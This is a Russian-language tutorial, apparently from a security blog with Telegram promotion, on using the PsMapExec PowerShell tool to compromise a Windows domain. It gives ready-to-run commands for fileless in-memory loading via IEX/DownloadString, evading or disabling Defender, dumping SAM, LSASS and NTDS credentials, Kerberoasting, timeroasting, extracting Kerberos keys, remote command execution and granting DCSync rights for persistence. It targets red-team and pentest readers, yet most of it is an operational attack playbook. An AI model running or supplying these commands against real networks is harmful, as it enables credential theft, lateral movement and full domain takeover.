PsMapExec был разработан на базе CrackMapExec и NetExec. Хотя он и не обладает всеми возможностями NetExec, он может быть загружен непосредственно в память и выполняться не касаясь диска. Инструмент можно использовать даже без знания пароля, это удобное преимущество, когда вы получаете доступ на этапах фишинга или эскалации привилегий.
Как и большинство публично доступных инструментов для атак, он будет обнаружен Defender’ом, если загрузить его напрямую. Опытные хакеры модифицируют такие скрипты, сохраняя их функциональность, что помогает им избежать обнаружения на основе статического анализа. Другой вариант - найти машину без антивируса, но это не всегда легко. Можно воспользоваться RDP, как только у вас появится доступ к графическому интерфейсу, ваши возможности расширятся. Этот подход не самый скрытный, но достаточно надежный.
После отключения Defender’а вы можете двигаться дальше и использовать скрипт. Давайте рассмотрим некоторые из его возможностей.
Подпишись на наши каналы в телеграме и в Max, там ты найдешь огромное количество качественного контента, без инфошума и воды!
Загрузка в память
Чтобы избежать записи на диск и оставления лишних следов, рекомендуется выполнять скрипт непосредственно в памяти. Для этого воспользуйтесь следующей командой:
PS > IEX(New-Object System.Net.WebClient).DownloadString("https://raw.githubusercontent.com/The-Viper-One/PsMapExec/main/PsMapExec.ps1")
После загрузки скрипта в память можно переходить к его использованию.
Дамп хэшей SAM
Одним из первых логичных шагов после получения доступа к системе является дамп хэшей. Атаки на SAM и LSASS являются одними из самых распространенных способов получения учетных данных. SAM предоставляет хэши локальных учетных записей, а LSASS — хэши всех подключенных пользователей, включая администраторов домена и привилегированные учетные записи. В некоторых организациях критически важные пользователи могут принадлежать к группе Protected Users, что предотвращает кэширование их учетных данных в памяти. Хотя такая практика не везде распространена, это стоит учитывать.
Чтобы извлечь локальные учетные записи с одной машины:
PS > PsMapExec smb -Targets MANAGER-1 -Module SAM -ShowOutput
Чтобы извлечь локальные учетные записи со всех машин в домене:
PS > PsMapExec smb -Targets all -Module SAM -ShowOutput
Вывод чистый и содержитё только валидные локальные учетные записи.
Дамп хэшей LSASS
LSASS (Local Security Authority Subsystem Service) отвечает за аутентификацию в системах Windows. Когда вы входите в систему, ваши учетные данные отправляются на контроллер домена для проверки, и, если они одобрены, вы получаете токен сессии. Учетные данные домена временно хранятся на локальных машинах. Даже если сессия заблокирована, учетные данные могут оставаться в памяти.
Чтобы выполнить дамп LSASS локально выполните:
PS > PsMapExec smb -Targets “localhost” -Module “LoginPasswords” -ShowOutput
Если у текущего пользователя недостаточно прав, укажите учетные данные вручную:
PS > PsMapExec smb -Targets “DC” -Username “user” -Password “password” -Module “LoginPasswords” -ShowOutput
Вы также можете выполнить это удаленно, используя тот же синтаксис.
Удаленное выполнение команд
Каждая сеть уникальна, и в некоторых встречается сегментация (для предотвращения бокового перемещения). Процесс перехода между узлами называется пивотингом (pivoting).
Чтобы просмотреть сетевые интерфейсы выполните:
PS > PsMapExec SMB -Target all -Username “user” -Password “password” -Command “ipconfig” -Domain “sekvoya.local”
Чтобы получить информацию с одной машины:
PS > PsMapExec SMB -Target “DC” -Username “user” -Password “password” -Command “ipconfig” -Domain “sekvoya.local”
Аналогичным образом вы можете выполнять и другие команды. После выявления интересующих хостов вы можете включить WINRM для более скрытного взаимодействия:
PS > PsMapExec SMB -Target “MANAGER-1” -Username “user” -Password “password” -Command “winrm quickconfig -q” -Domain “sekvoya.local”
Билеты Kerberos
Еще один ценный модуль — Kerbdump (позволяет удаленно извлекать билеты Kerberos). Эти билеты можно использовать для офлайн-перебора или атак, таких как Pass-the-Ticket. (Иногда, в целях безопасности, администраторы могут отключать NTLM, а значит нам придется полагаться только на Kerberos.)
PS > PsMapExec -Method smb -Targets DC -Username “user” -Password “password” -Module “KerbDump” -ShowOutput
Скрипт автоматически анализирует вывод и предоставляет понятные результаты.
Kerberoasting
Kerberoasting — атака нацеленная на получение сервисных билетов Kerberos и их офлайн перебора (для восстановления открытых учетных данных). Целевая УЗ должна иметь SPN, также можно установить его вручную:
PS > PsMapExec ldap -Targets DC -Module AddSPN -TargetDN “CN=adm_ivanov,DC=SEKVOYA,DC=LOCAL”
Затем проведите kerberoasting для этого пользователя:
PS > PsMapExec kerberoast -Target “DC” -Username “user” -Password “password” -Option “kerberoast:adm_ivanov” -ShowOutput
Ekeys
Билеты Kerberos шифруются с использованием специальных ключей шифрования. Извлечение этих ключей позволяет расшифровывать или даже подделывать билеты, что может привести к более глубокому закреплению и перемещению внутри домена.
PS > PsMapExec wmi -Targets all -Module ekeys -ShowOutput
Timeroasting
Атака основанна на особенностях синхронизации времени компьютеров с использованием протокола NTP (Network Time Protocol). Простыми словами, это способ обмануть контроллер домена и заставить его раскрыть хэши паролей для компьютерных учетных записей. Эти хэши затем можно взломать и получить пароли, что позволит злоумышленникам перемещаться по сети или повысить привилегии. Пароли компьютеров чаще всего длинные и случайные, но если они слабые или повторно используются, взлом может быть успешным. Атака совершенно незаметна, так как это обычный запрос синхронизации времени. Если имя компьютерной учетной записи — MANAGER$, и она настроена как «компьютер до Windows 2000», то пароль будет представлять собой имя компьютера в нижнем регистре без завершающего символа $. Если такая настройка отсутствует, пароль генерируется случайным образом.
PS > PsMapExec ldap -Targets DC -Module timeroast -ShowOutput
Поиск файлов
Поиск интересных (конфиденциальных файлов) на удаленных системах является важным этапом любого проекта. Модуль Files в PsMapExec автоматически перечисляет нестандартные файлы в пользовательских каталогах.
PS > PsMapExec wmi -Targets all -Module Files -ShowOutput
ACL Persistence
ACL Persistence позволяет злоумышленнику сохранять контроль над привилегированными группами или выполнять DCSync атаки. Для тех, кто не знаком, DCSync — это атака, при которой злоумышленник выдает себя за контроллер домена и запрашивает репликацию данных NTDS.dit с легитимного контроллера домена, в результате чего злоумышленник получает хэши паролей всех учетных записей домена, включая учетную запись krbtgt. После DCSync атаки рекомендуется два раза подряд сбросить пароль KRBTGT. Первый сброс изменяет хэш для новых билетов, а второй очищает старую историю, чтобы полностью инвалидировать все билеты. По умолчанию срок жизни билетов составляет 7-10 часов, но злоумышленники могут продлить их до 10 лет!
Назначение DCSync прав:
PS > PsMapExec ldap -Target DC -Module Elevate -TargetDN “CN=username,DC=SEKVOYA,DC=LOCAL”
Дамп NTDS
Дамп NTDS — это завершающий этап после получения привилегий администратора домена. Извлечение NTDS.dit позволяет восстановить учетные данные всех пользователей.
PS > PsMapExec SMB -Targets “DC” -Username “user” -Password “password” -Module NTDS -ShowOutput
Итог
PsMapExec сочетает в себе скрытность и практичность, что делает его подходящим как для красных команд, так и для специалистов по пентесту. Его способность работать полностью в оперативной памяти минимизирует оставляемые следы, а его модули охватывают практически все этапы компрометации сети: от разведки и повышения привилегий до сохранения доступа и извлечения данных. Хотя мы рассмотрели лишь некоторые из его наиболее эффективных команд, PsMapExec предлагает гораздо больше возможностей. Чем больше вы экспериментируете с ним, тем очевиднее становится его потенциал.
Подпишись на наши каналы в телеграме и в Max, там ты найдешь огромное количество качественного контента, без инфошума и воды!